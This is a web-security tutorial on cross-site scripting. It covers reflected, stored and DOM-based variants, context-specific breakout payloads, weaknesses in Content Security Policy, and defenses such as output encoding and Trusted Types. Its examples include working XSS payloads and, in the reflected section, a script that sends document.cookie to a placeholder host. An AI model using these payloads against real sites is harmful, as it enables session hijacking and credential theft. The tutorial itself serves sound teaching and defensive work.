# A complete conquest of XSS attacks [2026]: reflected, stored, DOM-based / context-specific payloads / CSP bypass — a version faithful to the official docs

> An in-depth look at cross-site scripting (XSS) attack techniques, faithful to the PortSwigger Web Security Academy. The differences and detection of reflected, stored, and DOM-based; crafting payloads for the HTML/attribute/JavaScript/URL contexts; DOM-based XSS traced source→sink; the role of CSP (Content Security Policy) and the thinking behind bypassing it; and root-cause defenses via context-specific output encoding and Trusted Types — explained with examples limited to your own lab.

- Published: 2026-06-28
- Author: 友田 陽大
- Tags: セキュリティ, ホワイトハッカー, XSS, 脆弱性診断, Webセキュリティ
- URL: https://tomodahinata.com/en/blog/xss-attack-techniques-reflected-stored-dom-csp-bypass-guide
- Category: 実践Webハッキング技法
- Pillar guide: https://tomodahinata.com/en/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## Key points

- The essence of XSS is 'ignoring the context at output time.' Even the same input has different escaping requirements depending on whether it appears in the HTML body, an attribute value, inside script, or a URL. Detection inserts a unique string to identify the reflection point and tries breakouts per context.
- Three types: reflected (request-derived, get them to click a URL), stored (saved to the DB and triggered on others, highest impact), DOM-based (client JS dangerously passes from source to sink). Not missing stored and DOM-based is the pro's divide.
- DOM-based is traced by the data flow from source (location.hash, etc.) to sink (innerHTML/eval, etc.). Since it completes in the browser without going through the server, it's not found by Burp's response inspection alone. DOM Invader is effective.
- CSP (Content Security Policy) is defense-in-depth that mitigates damage. But unless you design nonce/strict-dynamic correctly, it's bypassed with unsafe-inline or lax host allowances. CSP is the 'last line of defense,' not a substitute for input defense.
- The root-cause defense is 'context-specific output encoding.' Apply the correct encoding for each of the HTML body, attribute, JS, and URL, avoid innerHTML and use textContent. Don't disable a framework's (e.g. React's) automatic escaping. dangerouslySetInnerHTML must be audited.

---

XSS (cross-site scripting) is a vulnerability that **executes the attacker's JavaScript in the victim's browser.** Session hijacking, credential theft, impersonated operations — as [PortSwigger](https://portswigger.net/web-security/cross-site-scripting) says, it can "compromise the entire interaction between users and the app." This article explains those attack techniques faithfully to the official source, at a hands-on granularity.

> **An absolute premise:** all payloads only within a [legal lab](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) or an authorized scope. Even "just trying a little" on someone else's site can be illegal without authorization (→ [the legal guide](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)). For the map of attack classes, see the [pillar](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide).

---

## 1. The essence of XSS — ignoring the output context

XSS is often misunderstood as "an input problem," but precisely, it's **an output problem.** Even the same `"><script>` has different escaping requirements depending on **where it's output.**

```html
<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>

<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">

<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>
```

**The first step of detection** is to insert **a unique string** like `xss1234` and confirm **where, and how escaped,** it appears in the response. From there, you assemble a context-appropriate "breakout."

---

## 2. Reflected XSS

A case where input is **immediately reflected into the response of that request.** The attacker gets the victim to click a crafted URL.

```text
# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>
```

In practice, demonstrate up to **the impact** rather than `alert()` (PoC). For example, sending the session cookie to the attacker's server — but **this is only in your own lab / authorized scope.**

```html
<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>
```

---

## 3. Stored XSS — the highest impact

It triggers when input is **saved to the DB and later displayed to other users.** Comment fields, profiles, and product reviews are the staple entry points.

```text
# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>
```

**Reflected requires "getting them to click," but stored triggers on "everyone who views it."** Saved into an admin screen, it can seize the admin's session. **The impact is on another level**, so always test all saved inputs (especially screens the admin views).

---

## 4. DOM-based XSS — from source to sink

It occurs when **the client's JavaScript does something dangerous** without going through the server. The iron rule is to trace by the data flow (source → sink).

```js
// 脆弱な例：URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1);        // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q;  // sink: HTMLとして解釈される
```

```text
# 攻撃URL（# 以降はサーバーに送られず、クライアントだけで処理される）
https://lab.example/#<img src=x onerror=alert(document.domain)>
```

| source (input source) | sink (dangerous output) |
|---|---|
| `location.hash` / `search` / `href` | `innerHTML` / `outerHTML` |
| `document.referrer` | `document.write()` |
| `postMessage` data | `eval()` / `Function()` |
| `localStorage` | jQuery `$(...).html()` |

Since DOM-based **leaves no trace in the server's response**, it's not found by Burp's response inspection alone. A mechanism like [Burp's DOM Invader](/blog/burp-suite-getting-started-proxy-repeater-intruder-web-security-testing-guide), which traces source→sink within the browser, is effective.

---

## 5. Crafting payloads per context

"The same payload works everywhere" is wrong. **Design the breakout according to the context.**

```html
<!-- 属性値コンテキスト：属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="

<!-- JS文字列コンテキスト：文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'

<!-- HTMLタグが除去される環境：タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
```

Even if `<script>` is filtered, you can trigger via **event handlers** like `onerror`/`onload`/`ontoggle` — so you see that a blacklist that "only removes `<script>`" is incomplete. PortSwigger's [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) is comprehensive.

---

## 6. CSP (Content Security Policy) — the last line of defense, and its bypass

CSP is **defense-in-depth** that declares to the browser "from where scripts may be loaded/executed." It can't fully prevent XSS, but it **greatly mitigates the damage.**

```http
# 強いCSPの例：nonce + strict-dynamic（インラインも外部も原則禁止）
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
```

Conversely, **a weak CSP is bypassed.** Representative holes:

- Allowing `'unsafe-inline'` → inline scripts get through, rendering CSP nearly meaningless.
- Lax host allowances (e.g. an entire CDN or a domain that returns JSONP) → script execution via there.
- `base-uri` unset → `<base>` injection hijacks the load target of relative URLs.

> **A design lesson:** build CSP with **nonce-based + strict-dynamic** and don't use `unsafe-inline`. The Next.js implementation (issuing a nonce in middleware) is detailed in the [security-headers/CSP implementation guide](/blog/nextjs-security-headers-csp-nonce-middleware-guide). **CSP is not a substitute for input defense; it's insurance for when input defense breaks.**

---

## 7. [Defender side] Root-cause defense — context-specific output encoding

The conclusions of PortSwigger and [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) agree. **"The correct encoding for the context you output into"** is the main line.

```tsx
// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる（安全）
}

// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ（DOMPurify等）を通し、監査対象にする
function RichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
```

Let's organize the design principles.

- **HTML body** → HTML-entity encode (`<` → `&lt;`). Leave it to the framework's automatic interpolation.
- **Attribute value** → encoding for the attribute context + always wrap in quotes.
- **JavaScript** → don't write user input directly inside `<script>`. Separate it into a data layer via `JSON.stringify`.
- **DOM operations** → avoid `innerHTML` and use `textContent`. If you must use it, introduce [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).
- **URL** → reject the `javascript:` scheme, and use `encodeURIComponent`.
- **Defense in depth** → nonce-based CSP, `HttpOnly` cookies (so JS can't read the session).

The concrete detection and defense of DOM XSS and `dangerouslySetInnerHTML` in a Next.js × Supabase environment is summarized in the [dedicated guide](/blog/nextjs-xss-dom-xss-dangerouslysetinnerhtml-prevention-guide).

---

## 8. Summary

- **The essence is the output context**: even the same input has different escaping requirements in the HTML body/attribute/JS/URL.
- **Three types**: reflected (get them to click), stored (everyone who views, max impact), DOM (source→sink). Don't miss stored and DOM.
- **Blacklists break**: even if you remove `<script>`, it triggers via `onerror`, etc.
- **CSP is insurance**: build with nonce + strict-dynamic. `unsafe-inline` is forbidden.
- **The root-cause defense is context-specific encoding**: don't disable the framework's automatic escaping. `textContent` over `innerHTML`.

Next, head to [the complete conquest of SSRF attacks](/blog/ssrf-attack-techniques-cloud-metadata-blind-filter-bypass-guide), which uses the server itself as a stepping stone.

---

### References (official primary sources)

- [PortSwigger: Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting) / [DOM-based](https://portswigger.net/web-security/cross-site-scripting/dom-based) / [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) / [CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy)
- [OWASP: XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) / [DOM based XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)
- [MDN: Trusted Types API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)
